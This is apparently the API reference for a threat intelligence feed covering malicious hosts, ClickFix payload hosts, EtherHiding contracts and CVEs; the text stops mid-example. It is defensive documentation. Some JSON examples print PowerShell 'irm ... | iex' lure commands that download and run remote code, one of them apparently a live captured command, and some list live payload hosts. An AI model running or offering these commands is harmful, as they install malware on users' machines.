Ohey API
The Ohey API serves the threat intelligence feed and the delisted feed, what we hold on each feed host with its stored captures, and the vulnerability catalog. It also runs headed scans of a URL you choose.
Access
The API comes with the Full feed plan (TI accounts). Blocklists accounts get keys too: theirs read the four lists and the RPZ zone, and every other route answers 404. Create a key under Account > API keys in the portal; creating or revoking a key needs a recent sign-in. The key is shown once. It stops working when it is revoked, its account is disabled or the account loses API access.
Authentication
Send the key on every request as Authorization: Bearer ohey_.... The lists, the RPZ zone and the TAXII routes also accept HTTP Basic authentication with the key as the password and any or no username. Keys in URLs and query parameters are rejected. To try a request on this page, enter your key under Authentication; it stays in your browser.
Rate limits
120 requests a minute per key and per client address. A limited request returns 429. Scans have their own limit, under Scans.
Paging
List routes return 1,000 rows a page and a next cursor. Pass next unchanged as after to get the following page; its format differs by route, so treat it as opaque. next is null on the last page. limit sets the page size: up to 5,000 on /v1/indicators, /v1/delisted and /v1/changes, and up to 1,000 on the CVE routes.
Feed updates
The feed is rebuilt hourly, and asOf is when the current build finished. To copy the whole feed, pull every page, then replace your copy. An indicator that changes during a pass appears with its new values on the next pull.
To keep a copy current without pulling the whole feed again, call GET /v1/changes with since set to the asOf of your previous pull. It returns the hosts added to the feed since then and the hosts whose roles, families or tags changed, as full feed rows, and the hosts removed since then with the reason, in the order the hourly build published them. Then send the new hosts to POST /v1/hosts, up to 100 a request, for their profiles and captures. Fields that move every hour, such as lastSeen and the DNS fields, are not changes; a full pull picks them up. The TAXII collection gives the same changes as STIX, a changed host as a new version of its indicator, with added_after set to the X-TAXII-Date-Added-Last of your previous pull.
Endpoints
Base URL: https://api.ohey.ca/v1. Paths below include /v1.
An API key is ohey_ followed by 43 characters.
The OpenAPI description is at /docs/openapi.json.
Feed
Every accepted indicator, and the hosts taken out of it.
List indicators
GET /v1/indicators
Every accepted indicator in ascending order, up to 5,000 per page. With tag or family, an indicator matches when it has any listed tag or any listed family, so a feed defined by both is one request: tag=phaas&family=remcos returns PhaaS indicators and Remcos indicators.
Parameters
| Name |
In |
Required |
Type |
Description |
tag |
query |
no |
array of string |
Repeatable, up to 20. Indicators with any of these tags. A name or any alias /labels lists; case does not matter. (up to 20 values) |
family |
query |
no |
array of string |
Repeatable, up to 20. Indicators attributed to any of these families. A name or any alias /labels lists; case does not matter. (up to 20 values) |
limit |
query |
no |
integer |
Rows per page, 1 to 5,000. Without it a page holds 1,000. (1 to 5000, default 1000) |
after |
query |
no |
string |
The next value from the previous page. Leave it out for the first page. (pattern ^[0-9]+$) |
Responses
200: A page of indicators.
data (array of Indicator, required)
next (string or null, required)
asOf (date-time string or null, required)
Example:
{
"data": [
{
"host": "compromised.example",
"reason": "Rule clickfix_etherhiding_fake_captcha_overlay matched hxxps://compromised[.]example/ in capture 12345 on 2026-09-26.",
"decidedBy": "automated",
"feedTypes": ["distribution"],
"families": ["bwpanel"],
"tags": ["clickfix", "compromised", "etherhiding", "tds", "yarahit"],
"infraTypes": ["hosting"],
"countries": ["CA"],
"asns": [64496],
"asOrgs": ["Example Hosting"],
"resolvedIps": ["192.0.2.10"],
"ports": [443],
"sha256Samples": ["0f3c6f6a4d3e8b1c9a2e7d5f4b6a8c0e1d3f5a7b9c2e4d6f8a0b1c3d5e7f9a2b"],
"dnsStatus": "live",
"passiveDnsHits": 0,
"trancoRank": null,
"firstSeen": "2026-06-24T17:16:07.871Z",
"lastSeen": "2026-09-29T00:13:52.575434Z",
"addedAt": "2026-06-24T17:16:07.871000Z"
}
],
"next": "154315",
"asOf": "2026-10-07T23:04:52Z"
}
400: A parameter is invalid. Body: Error.
401: The key is missing, revoked or its account is not TI. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
List delisted hosts
GET /v1/delisted
Hosts that were reviewed and excluded (denied) or taken out of the feed (removed), up to 5,000 per page. everListed distinguishes review exclusions from hosts that reached the feed. For previously listed hosts removed after a clean re-inspection, request /delisted?status=removed&everListed=true&reasonCode=remediated.
Parameters
| Name |
In |
Required |
Type |
Description |
status |
query |
no |
string |
Return denied hosts or removed hosts. (one of denied, removed) |
everListed |
query |
no |
boolean |
Return hosts that reached the feed, or hosts that did not. |
reasonCode |
query |
no |
array of string |
Repeatable. Return hosts with any of these delisting reason codes. |
decidedBy |
query |
no |
string |
Return decisions made by automation or an analyst. (one of automated, analyst) |
limit |
query |
no |
integer |
Rows per page, 1 to 5,000. Without it a page holds 1,000. (1 to 5000, default 1000) |
after |
query |
no |
string |
The next value from the previous page. Leave it out for the first page. (pattern ^[0-9]+$) |
Responses
200: A page of delisted hosts.
data (array of Delisting, required)
next (string or null, required)
Example:
{
"data": [
{
"host": "clickfix.example",
"status": "removed",
"reason": "Current rescan found no remaining threat behaviour",
"delistedAt": "2026-10-05T18:30:00Z",
"everListed": true,
"decidedBy": "automated",
"reasonCode": "remediated",
"feedTypes": ["distribution"]
}
],
"next": "990"
}
400: A parameter is invalid. Body: Error.
401: The key is missing, revoked or its account is not TI. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
List families and tags
GET /v1/labels
Every malware family and tag the feed holds, each with the number of feed hosts that carry it, most first. These are the values tag and family match on /indicators, /changes and the TAXII collection, and a filter on any of a label's aliases matches it too, so a saved filter keeps working after a family is renamed or merged. Only labels a feed host carries are listed. The list follows the hourly build.
Responses
200: The feed's families and tags.
families (array of Label, required)
tags (array of Label, required)
asOf (date-time string or null, required)
Example:
{
"families": [
{
"name": "socgholish",
"hosts": 1362,
"aliases": ["fakeupdate", "fakeupdates", "gholoader", "js.fakeupdates"]
},
{
"name": "remcos",
"hosts": 175,
"aliases": ["remcosrat", "win.remcos"]
}
],
"tags": [
{
"name": "phaas",
"hosts": 21066,
"aliases": ["aitm", "credential-phishing", "phishing", "phishing-kit"]
}
],
"asOf": "2026-11-16T17:02:47Z"
}
401: The key is missing, revoked or its account is not TI. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
List feed changes
GET /v1/changes
Hosts that entered the feed (added), changed roles, families or tags in it (changed), or left it (removed) after since, in the order the hourly build published them, up to 5,000 per page. An added or changed host comes with its whole feed row, as from /indicators; a removed host with when it left and why, as from /delisted. Each host appears once, in its latest state: a host added and then changed in the window is added, and one added and then removed is removed. lastSeen, DNS and network fields move every hour and are not changes. With tag or family, a change matches when the host has any listed tag or any listed family.
Parameters
| Name |
In |
Required |
Type |
Description |
since |
query |
yes |
date-time string |
RFC 3339 time. Changes after it are returned; use the asOf of your previous pull. |
tag |
query |
no |
array of string |
Repeatable, up to 20. Changes to hosts with any of these tags. A name or any alias /labels lists; case does not matter. (up to 20 values) |
family |
query |
no |
array of string |
Repeatable, up to 20. Changes to hosts attributed to any of these families. A name or any alias /labels lists; case does not matter. (up to 20 values) |
limit |
query |
no |
integer |
Rows per page, 1 to 5,000. Without it a page holds 1,000. (1 to 5000, default 1000) |
after |
query |
no |
string |
The next value from the previous page, with the same since. Leave it out for the first page. (pattern ^[0-9]+-[ar]-[0-9]+$) |
Responses
200: A page of changes.
data (array of FeedHostChange or RemovedHost, required)
next (string or null, required)
asOf (date-time string or null, required)
Example:
{
"data": [
{
"change": "removed",
"host": "clickfix.example",
"removedAt": "2026-11-15T18:30:00.000000Z",
"reason": "Current rescan found no remaining threat behaviour",
"reasonCode": "remediated",
"decidedBy": "automated",
"feedTypes": ["distribution"],
"families": [],
"tags": ["clickfix"]
},
{
"change": "added",
"host": "compromised.example",
"reason": "Rule clickfix_etherhiding_fake_captcha_overlay matched hxxps://compromised[.]example/ in capture 12345 on 2026-09-26.",
"decidedBy": "automated",
"feedTypes": ["distribution"],
"families": ["bwpanel"],
"tags": ["clickfix", "compromised", "etherhiding", "tds", "yarahit"],
"infraTypes": ["hosting"],
"countries": ["CA"],
"asns": [64496],
"asOrgs": ["Example Hosting"],
"resolvedIps": ["192.0.2.10"],
"ports": [443],
"sha256Samples": ["0f3c6f6a4d3e8b1c9a2e7d5f4b6a8c0e1d3f5a7b9c2e4d6f8a0b1c3d5e7f9a2b"],
"dnsStatus": "live",
"passiveDnsHits": 0,
"trancoRank": null,
"firstSeen": "2026-06-24T17:16:07.871Z",
"lastSeen": "2026-09-29T00:13:52.575434Z",
"addedAt": "2026-06-24T17:16:07.871000Z"
}
],
"next": null,
"asOf": "2026-11-16T12:04:52Z"
}
400: A parameter is invalid. Body: Error.
401: The key is missing, revoked or its account is not TI. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
Lists
Sorted, plain-text host lists for firewalls and DNS filters, and the RPZ zone for resolvers.
Get C2 domain names
GET /v1/lists/c2-domains.txt
The whole published c2 domain names list, sorted, with one host per line and no header or comments.
Responses
200: C2 domain names
Content type text/plain.
Schema: string.
Example:
"alpha.example\nbeta.example\n"
401: The key is missing, revoked or its account is not TI. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
Get C2 IP addresses
GET /v1/lists/c2-ips.txt
The whole published c2 ip addresses list, sorted, with one host per line and no header or comments.
Responses
200: C2 IP addresses
Content type text/plain.
Schema: string.
Example:
"192.0.2.10\n198.51.100.7\n"
401: The key is missing, revoked or its account is not TI. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
Get distribution domain names
GET /v1/lists/distribution-domains.txt
The whole published distribution domain names list, sorted, with one host per line and no header or comments.
Responses
200: distribution domain names
Content type text/plain.
Schema: string.
Example:
"alpha.example\nbeta.example\n"
401: The key is missing, revoked or its account is not TI. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
Get distribution IP addresses
GET /v1/lists/distribution-ips.txt
The whole published distribution ip addresses list, sorted, with one host per line and no header or comments.
Responses
200: distribution IP addresses
Content type text/plain.
Schema: string.
Example:
"192.0.2.10\n198.51.100.7\n"
401: The key is missing, revoked or its account is not TI. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
Get the RPZ zone
GET /v1/lists/rpz.zone
The whole published feed as a response policy zone, rpz.ohey.ca: every domain as an exact-name trigger and every IP as an rpz-ip trigger, all answering NXDOMAIN. The SOA serial is the time of the hourly feed build. Unbound loads the zone from this route; the portal gives the line for it.
Resolvers that load RPZ by zone transfer pull rpz.ohey.ca from ns1.rpz.ohey.ca on port 53. Turn RPZ on under Account > RPZ in the portal. It creates a TSIG key (hmac-sha256), shows the secret once and gives the settings for BIND and PowerDNS Recursor. After the first full transfer your resolver takes only the changes, by IXFR. Add up to four IPv4 addresses and we send them NOTIFY on each new serial, so they transfer straight away. Regenerating the secret replaces the old one within a minute, and turning RPZ off stops transfers.
Responses
200: RPZ zone file
Content type text/dns.
Schema: string.
Example:
"$ORIGIN rpz.ohey.ca.\n$TTL 300\n@ IN SOA ns1.rpz.ohey.ca. hostmaster.ohey.ca. 1794441855 3600 600 604800 300\n@ IN NS localhost.\ncompromised.example CNAME .\n32.7.100.51.198.rpz-ip CNAME .\n; end of zone\n"
401: The key is missing, revoked or its account is not TI. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
TAXII
The feed as STIX 2.1 indicators over a read-only TAXII 2.1 server.
Discover the TAXII server
GET /v1/taxii2/
TAXII 2.1 discovery. Send Accept: application/taxii+json;version=2.1.
Responses
200: The TAXII discovery resource.
Content type application/taxii+json;version=2.1.
Schema: TaxiiDiscovery, under Schemas below.
401: The API key is not valid.
Content type application/taxii+json;version=2.1.
Schema: TaxiiError, under Schemas below.
429: The request limit was reached.
Content type application/taxii+json;version=2.1.
Schema: TaxiiError, under Schemas below.
Get the TAXII API root
GET /v1/taxii2/ohey/
The one API root for the Ohey feed. Send Accept: application/taxii+json;version=2.1.
Responses
200: The TAXII API root resource.
Content type application/taxii+json;version=2.1.
Schema: TaxiiRoot, under Schemas below.
401: The API key is not valid.
Content type application/taxii+json;version=2.1.
Schema: TaxiiError, under Schemas below.
429: The request limit was reached.
Content type application/taxii+json;version=2.1.
Schema: TaxiiError, under Schemas below.
List TAXII collections
GET /v1/taxii2/ohey/collections/
Lists the one read-only Ohey feed collection. Send Accept: application/taxii+json;version=2.1.
Responses
200: The TAXII collections resource.
Content type application/taxii+json;version=2.1.
collections (array of TaxiiCollection)
401: The API key is not valid.
Content type application/taxii+json;version=2.1.
Schema: TaxiiError, under Schemas below.
429: The request limit was reached.
Content type application/taxii+json;version=2.1.
Schema: TaxiiError, under Schemas below.
Get the Ohey TAXII collection
GET /v1/taxii2/ohey/collections/{collectionId}/
Metadata for the read-only Ohey feed collection. Send Accept: application/taxii+json;version=2.1.
Parameters
| Name |
In |
Required |
Type |
Description |
collectionId |
path |
yes |
string |
The Ohey feed collection ID. (one of fb27d024-7b08-46cc-8870-c2f2e66de61f) |
Responses
200: The Ohey feed collection.
Content type application/taxii+json;version=2.1.
Schema: TaxiiCollection, under Schemas below.
401: The API key is not valid.
Content type application/taxii+json;version=2.1.
Schema: TaxiiError, under Schemas below.
429: The request limit was reached.
Content type application/taxii+json;version=2.1.
Schema: TaxiiError, under Schemas below.
Get STIX indicators
GET /v1/taxii2/ohey/collections/{collectionId}/objects/
Pages active feed hosts and revoked hosts that previously reached the feed, oldest TAXII addition first. A host whose roles, families or tags change is added again as a new version, with a later modified. tag and family are repeatable and use the same any-match rule as /v1/indicators. Send Accept: application/taxii+json;version=2.1.
Parameters
| Name |
In |
Required |
Type |
Description |
collectionId |
path |
yes |
string |
The Ohey feed collection ID. (one of fb27d024-7b08-46cc-8870-c2f2e66de61f) |
added_after |
query |
no |
date-time string |
Return objects added to the TAXII collection after this timestamp. |
limit |
query |
no |
integer |
Objects per page, 1 to 5,000. (1 to 5000, default 5000) |
next |
query |
no |
string |
The opaque next value from the previous TAXII envelope. |
tag |
query |
no |
array of string |
Repeatable, up to 20. Indicators with any of these tags. A name or any alias /labels lists; case does not matter. (up to 20 values) |
family |
query |
no |
array of string |
Repeatable, up to 20. Indicators with any of these families. A name or any alias /labels lists; case does not matter. (up to 20 values) |
Responses
200: A TAXII envelope of STIX 2.1 indicators.
Header X-TAXII-Date-Added-First, for example 2026-10-01T00:00:00.000Z: The date added of the first object in the envelope.
Header X-TAXII-Date-Added-Last, for example 2026-10-07T23:04:52.000Z: The date added of the last object; pass it as added_after on your next pull.
Content type application/taxii+json;version=2.1.
Schema: TaxiiEnvelope, under Schemas below.
400: The request is invalid.
Content type application/taxii+json;version=2.1.
Schema: TaxiiError, under Schemas below.
401: The API key is not valid.
Content type application/taxii+json;version=2.1.
Schema: TaxiiError, under Schemas below.
429: The request limit was reached.
Content type application/taxii+json;version=2.1.
Schema: TaxiiError, under Schemas below.
Hosts
What Ohey holds about one host in the feed, and its stored captures.
Look up up to 100 hosts
POST /v1/hosts
Up to 100 hosts in one request, each returned with its host profile, as from GET /v1/hosts/{host}, and its capture listing in captureList, as from GET /v1/hosts/{host}/captures. Hosts may be pasted as URLs or defanged; a www. host the feed lists without www. is returned as the feed lists it. data keeps the order sent. Hosts not in the feed, including hosts removed since your last list pull, are listed in missing instead of failing the request. The request counts once against the rate limit. To keep a copy of the feed, pull new and removed hosts from the TAXII collection with added_after, then look them up here.
Request body
Required.
hosts (array of string, required, up to 100 values): Host names, IP addresses or URLs.
Example:
{
"hosts": ["compromised.example", "removed.example"]
}
Responses
200: The hosts in the feed, and those that are not.
data (array of HostProfile with captureList, required)
captureList (array of Capture, required)
missing (array of string, required): Hosts sent that are not in the feed.
Example:
{
"data": [
{
"host": "compromised.example",
"indicator": {
"host": "compromised.example",
"reason": "Rule clickfix_etherhiding_fake_captcha_overlay matched hxxps://compromised[.]example/ in capture 12345 on 2026-09-26.",
"decidedBy": "automated",
"feedTypes": ["distribution"],
"families": ["bwpanel"],
"tags": ["clickfix", "compromised", "etherhiding", "tds", "yarahit"],
"infraTypes": ["hosting"],
"countries": ["CA"],
"asns": [64496],
"asOrgs": ["Example Hosting"],
"resolvedIps": ["192.0.2.10"],
"ports": [443],
"sha256Samples": ["0f3c6f6a4d3e8b1c9a2e7d5f4b6a8c0e1d3f5a7b9c2e4d6f8a0b1c3d5e7f9a2b"],
"dnsStatus": "live",
"passiveDnsHits": 0,
"trancoRank": null,
"firstSeen": "2026-06-24T17:16:07.871Z",
"lastSeen": "2026-09-29T00:13:52.575434Z",
"addedAt": "2026-06-24T17:16:07.871000Z"
},
"vulnerabilities": [],
"captures": {
"count": 1,
"firstAt": "2026-09-26T19:40:08.303639Z",
"latestAt": "2026-09-26T19:40:08.303639Z",
"rules": ["clickfix_etherhiding_fake_captcha_overlay"]
},
"dns": [],
"commands": [],
"contracts": [],
"sites": [],
"captureList": [
{
"id": 1001,
"startedAt": "2026-09-26T19:40:08.303639Z",
"inputUrl": "https://compromised.example/",
"finalUrl": "https://compromised.example/",
"httpStatus": 200,
"rules": [
{
"name": "clickfix_etherhiding_fake_captcha_overlay",
"description": "Detects Etherhiding ClickFix loaders that resolve a remote landing and place it in a clipboard-enabled overlay with telemetry"
}
],
"responses": []
}
]
}
],
"missing": ["removed.example"]
}
400: A parameter is invalid. Body: Error.
401: The key is missing, revoked or its account is not TI. Body: Error.
413: The body is larger than 64 KB.
429: Over 120 requests a minute for this key or address. Body: Error.
Get a host profile
GET /v1/hosts/{host}
The host's feed row, the affected software found in its latest capture, a summary of its captures and its latest DNS records. For a compromised site, commands are the lure commands we captured on it with the payload URLs decoded from each, and contracts the smart contracts its page called. For a payload host, sites are the feed hosts whose captured command downloads from it. For ClickFix C2 infrastructure (clickfixc2), captures has a count of 0 and there are no vulnerabilities, as in the capture listing. A www. host the feed lists without www. returns the profile of the host as the feed lists it.
Parameters
| Name |
In |
Required |
Type |
Description |
host |
path |
yes |
string |
A host name or IP address, lowercase, as the feed lists it. (up to 253 characters) |
Responses
200: The host profile.
Schema: HostProfile, under Schemas below.
Example:
{
"host": "compromised.example",
"indicator": {
"host": "compromised.example",
"reason": "Rule clickfix_etherhiding_fake_captcha_overlay matched hxxps://compromised[.]example/ in capture 12345 on 2026-09-26.",
"decidedBy": "automated",
"feedTypes": ["distribution"],
"families": ["bwpanel"],
"tags": ["clickfix", "compromised", "etherhiding", "tds", "yarahit"],
"infraTypes": ["hosting"],
"countries": ["CA"],
"asns": [64496],
"asOrgs": ["Example Hosting"],
"resolvedIps": ["192.0.2.10"],
"ports": [443],
"sha256Samples": ["0f3c6f6a4d3e8b1c9a2e7d5f4b6a8c0e1d3f5a7b9c2e4d6f8a0b1c3d5e7f9a2b"],
"dnsStatus": "live",
"passiveDnsHits": 0,
"trancoRank": null,
"firstSeen": "2026-06-24T17:16:07.871Z",
"lastSeen": "2026-09-29T00:13:52.575434Z",
"addedAt": "2026-06-24T17:16:07.871000Z"
},
"vulnerabilities": [
{
"component": "elementor-pro",
"version": "3.24.2",
"title": "WordPress Elementor Pro plugin <= 4.2.1 - Arbitrary File Upload vulnerability",
"cve": "CVE-2026-32475",
"remediation": "Update the WordPress Elementor Pro Plugin to the latest available version (at least 4.2.2)."
}
],
"captures": {
"count": 3,
"firstAt": "2026-09-13T03:20:10.958639Z",
"latestAt": "2026-09-26T19:40:08.303639Z",
"rules": ["clickfix_etherhiding_fake_captcha_overlay", "wordpress_backdoor_failover_visitor_beacon"]
},
"dns": [
{
"name": "compromised.example",
"type": "A",
"section": "answer",
"values": ["192.0.2.10"],
"ttl": 7200,
"checkedAt": "2026-10-01T02:43:56.090673Z"
}
],
"commands": [
{
"command": "powershell -w h -c \"irm https://payload.example/s/w/1 | iex\"",
"urls": ["https://payload.example/s/w/1"],
"seenAt": "2026-09-26T19:40:08.303639Z"
}
],
"contracts": [
{
"address": "0xe75744c53ec0914fe9be92847019d3d7122b6b77",
"selector": "0x6d4ce63c",
"chain": "BNB Smart Chain testnet",
"kit": "chainbite",
"seenAt": "2026-09-26T19:40:08.303639Z"
}
],
"sites": []
}
400: A parameter is invalid. Body: Error.
401: The key is missing, revoked or its account is not TI. Body: Error.
404: The host is not in the feed. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
List a host's captures
GET /v1/hosts/{host}/captures
The stored captures of a host in the feed, newest first: up to 50 captures with their YARA rules, extracted lure commands and downloadable responses. For ClickFix C2 infrastructure (clickfixc2), only the responses that host served are listed, without details of the capture they came from.
Parameters
| Name |
In |
Required |
Type |
Description |
host |
path |
yes |
string |
A host name or IP address, lowercase, as the feed lists it. (up to 253 characters) |
Responses
200: The host's captures.
host (string, required)
captures (array of Capture, required)
Example:
{
"host": "compromised.example",
"captures": [
{
"id": 1001,
"startedAt": "2026-09-26T19:40:08.303639Z",
"inputUrl": "https://compromised.example/",
"finalUrl": "https://compromised.example/",
"httpStatus": 200,
"rules": [
{
"name": "clickfix_etherhiding_fake_captcha_overlay",
"description": "Detects Etherhiding ClickFix loaders that resolve a remote landing and place it in a clipboard-enabled overlay with telemetry"
}
],
"responses": [
{
"seq": 1,
"url": "https://compromised.example/",
"type": "Document",
"httpStatus": 200,
"sha256": "0f3c6f6a4d3e8b1c9a2e7d5f4b6a8c0e1d3f5a7b9c2e4d6f8a0b1c3d5e7f9a2b"
}
]
}
]
}
400: A parameter is invalid. Body: Error.
401: The key is missing, revoked or its account is not TI. Body: Error.
404: The host is not in the feed. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
Download a response body
GET /v1/captures/{id}/responses/{seq}
Downloads one response listed by List a host's captures as an attachment. Only malicious Script and Document bodies can be downloaded. Bodies can be live malicious code: handle them as samples.
Parameters
| Name |
In |
Required |
Type |
Description |
id |
path |
yes |
integer |
The capture id. (minimum 1) |
seq |
path |
yes |
integer |
The response seq. (minimum 0) |
Responses
200: The response body, named after its SHA-256.
Header Content-Disposition, for example attachment; filename="0f3c6f6a...9a2b.bin".
Content type application/octet-stream.
Schema: binary string.
400: A parameter is invalid. Body: Error.
401: The key is missing, revoked or its account is not TI. Body: Error.
404: No such capture response, or its body cannot be downloaded.
Schema: Error, under Schemas below.
Example:
{
"error": "Response unavailable"
}
429: Over 120 requests a minute for this key or address. Body: Error.
Payloads
The hosts ClickFix commands download from, and the smart contracts EtherHiding kits read.
List ClickFix payload hosts
GET /v1/commands
Every host the ClickFix commands we captured download from, one row per host, as on the commands tracker. The list is rebuilt daily and asOf is when. host, url and command are as captured, not defanged as on the tracker: command is a live attacker command and can name the compromised site it was copied from. A host written *.domain hands out a new subdomain on every visit. Every matching row comes back in one response.
Parameters
| Name |
In |
Required |
Type |
Description |
host |
query |
no |
string |
A host or domain. Matches that host, hosts under it, and a *.domain row covering it. (up to 253 characters) |
kit |
query |
no |
string |
A kit name, lowercase, as in kits. |
q |
query |
no |
string |
Text in the host, URL or command, case-insensitive. (up to 2048 characters) |
Responses
200: The matching payload hosts.
asOf (date string, required): The day the list was built.
total (integer, required)
data (array of PayloadHost, required)
Example:
{
"asOf": "2026-11-09",
"total": 1,
"data": [
{
"host": "*.zhv8.com",
"kits": ["gzipgnaw"],
"sites": 1604,
"urls": 1666,
"firstSeen": "2026-09-28",
"lastSeen": "2026-11-09",
"url": "http://drmdafggqjgwz.zhv8.com/s/w/1",
"command": "irm 'drmdafggqjgwz.zhv8.com/s/w/1' | iex"
}
]
}
400: A parameter is invalid. Body: Error.
401: The key is missing, revoked or its account is not TI. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
List EtherHiding contracts
GET /v1/contracts
Every smart contract EtherHiding kits read for their next stage, as on the contracts tracker. Ohey reads each contract daily. destinations are the hosts it returns now, live; nextHops are contracts it points to instead of a host. sites counts the feed hosts whose captured page called the contract. history is every destination the contract has returned, with the first and last day Ohey read each, from the daily snapshot dated asOf. Every matching row comes back in one response, most recently read first. dnsNames lists the DNS TXT names some kits read their next host from instead of a contract, from the same snapshot; kit and destination filter them, and address or chain leaves none.
Parameters
| Name |
In |
Required |
Type |
Description |
address |
query |
no |
string |
A contract address. (pattern ^0x[0-9a-fA-F]{40}$) |
kit |
query |
no |
string |
A kit name, lowercase. |
chain |
query |
no |
string |
A chain name, as in chain, any case. |
destination |
query |
no |
string |
A host or domain the contract returns. (up to 253 characters) |
Responses
200: The matching contracts.
asOf (date string, required): The daily snapshot lastChanged, history and dnsNames come from.
total (integer, required): Contracts in data.
data (array of Contract, required)
dnsNames (array of DnsName, required)
Example:
{
"asOf": "2026-11-13",
"total": 1,
"dnsNames": [
{
"name": "xs.mmp-gep.org",
"kit": "asksocket",
"state": "resolved",
"destinations": ["a1.mcp-source.online"],
"firstSeen": "2026-11-13",
"lastRead": "2026-11-13",
"lastChanged": "2026-11-13",
"history": [
{
"destination": "a1.mcp-source.online",
"firstSeen": "2026-11-13",
"lastSeen": "2026-11-13"
}
]
}
],
"data": [
{
"chain": "BNB Smart Chain testnet",
"chainId": 97,
"address": "0xe75744c53ec0914fe9be92847019d3d7122b6b77",
"kit": "chainbite",
"destinations": ["audi-zen.fit", "gl.githack.com"],
"nextHops": ["0x0f14777c78d402bed55a67a6eb55dc87cc0b050a"],
"firstSeen": "2026-11-01",
"lastRead": "2026-11-09",
"sites": 12,
"lastChanged": "2026-11-05",
"history": [
{
"destination": "audi-zen.fit",
"firstSeen": "2026-11-01",
"lastSeen": "2026-11-09"
},
{
"destination": "gl.githack.com",
"firstSeen": "2026-11-05",
"lastSeen": "2026-11-09"
}
]
}
]
}
400: A parameter is invalid. Body: Error.
401: The key is missing, revoked or its account is not TI. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
Vulnerabilities
Published CVEs with the vulnerability catalog's enrichment.
List vulnerabilities
GET /v1/vulnerabilities
Published CVEs in publication order, up to 1,000 per page.
Parameters
| Name |
In |
Required |
Type |
Description |
limit |
query |
no |
integer |
Rows per page, 1 to 1,000. (1 to 1000, default 1000) |
after |
query |
no |
string |
The next value from the previous page, or a date or timestamp to start after, for example 2026-10-01. |
Responses
200: A page of vulnerabilities.
Schema: VulnerabilityPage, under Schemas below.
Example:
{
"data": [
{
"id": "CVE-2024-3400",
"published": "2024-04-12T07:20:00.707Z",
"updated": "2025-10-21T23:05:21.315Z",
"title": "PAN-OS: Arbitrary File Creation Leads to OS Command Injection Vulnerability in GlobalProtect",
"description": "A command injection as a result of arbitrary file creation vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. ...",
"assigner": "palo_alto",
"products": [
{
"vendor": "Palo Alto Networks",
"product": "Cloud NGFW"
},
{
"vendor": "Palo Alto Networks",
"product": "PAN-OS"
},
{
"vendor": "Palo Alto Networks",
"product": "Prisma Access"
}
],
"cvss": {
"score": 10,
"severity": "critical",
"version": "3.1",
"source": "CNA",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
},
"epss": {
"score": 0.99999,
"percentile": 1,
"date": "2026-10-06T12:00:23Z"
},
"kev": {
"added": "2024-04-12",
"due": "2024-04-19",
"ransomware": true
},
"exploited": true
}
],
"next": "2024-04-12T07:20:00.707Z,CVE-2024-3400"
}
400: A parameter is invalid. Body: Error.
401: The key is missing, revoked or its account is not TI. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
List WordPress vulnerabilities
GET /v1/vulnerabilities/wordpress
The same rows for CVEs affecting WordPress plugins, themes or core, each with wordpress: every affected component once, with its affected version ranges and its wordpress.org directory state.
Parameters
| Name |
In |
Required |
Type |
Description |
limit |
query |
no |
integer |
Rows per page, 1 to 1,000. (1 to 1000, default 1000) |
after |
query |
no |
string |
The next value from the previous page, or a date or timestamp to start after, for example 2026-10-01. |
Responses
200: A page of WordPress vulnerabilities.
Schema: VulnerabilityPage, under Schemas below.
Example:
{
"data": [
{
"id": "CVE-2026-92537",
"published": "2026-10-01T02:27:46.143Z",
"updated": "2026-10-01T14:21:14.764Z",
"title": "Newsletter <= 9.3.9 - Unauthenticated Insufficiently Protected Credentials via '/tnp/l/' Click-Tracking REST Endpoint (Raw Subscriber Token Cookie Disclosure)",
"description": "The Newsletter plugin for WordPress is vulnerable to Insufficiently Protected Credentials in all versions up to, and including, 9.3.9 ...",
"assigner": "Wordfence",
"products": [
{
"vendor": "satollo",
"product": "Newsletter"
}
],
"cvss": {
"score": 5.3,
"severity": "medium",
"version": "3.1",
"source": "CNA",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
},
"epss": {
"score": 0.00322,
"percentile": 0.23112,
"date": "2026-10-06T12:00:23Z"
},
"kev": null,
"exploited": false,
"wordpress": [
{
"component": "plugin:newsletter",
"current": "9.3.10",
"directory": "open",
"ranges": [
{
"to": "9.3.9",
"toInclusive": true
}
]
}
]
}
],
"next": "2026-10-01T02:27:46.143Z,CVE-2026-92537"
}
400: A parameter is invalid. Body: Error.
401: The key is missing, revoked or its account is not TI. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
Get a vulnerability
GET /v1/vulnerabilities/{id}
One CVE's row and every current source record about it: the CVE record, NVD, EPSS and KEV, GitHub and OSV advisories and publisher documents, each as published by its source. A CVE whose record or NVD entry names a WordPress component carries wordpress as the WordPress list does; the example CVE affects PAN-OS, so it has none.
Parameters
| Name |
In |
Required |
Type |
Description |
id |
path |
yes |
string |
A CVE ID. (pattern ^CVE-[0-9]{4}-[0-9]{4,}$) |
Responses
200: The vulnerability and its source records.
vulnerability (Vulnerability, required)
sources (array of SourceRecord, required)
Example:
{
"vulnerability": {
"id": "CVE-2024-3400",
"published": "2024-04-12T07:20:00.707Z",
"updated": "2025-10-21T23:05:21.315Z",
"title": "PAN-OS: Arbitrary File Creation Leads to OS Command Injection Vulnerability in GlobalProtect",
"description": "A command injection as a result of arbitrary file creation vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. ...",
"assigner": "palo_alto",
"products": [
{
"vendor": "Palo Alto Networks",
"product": "Cloud NGFW"
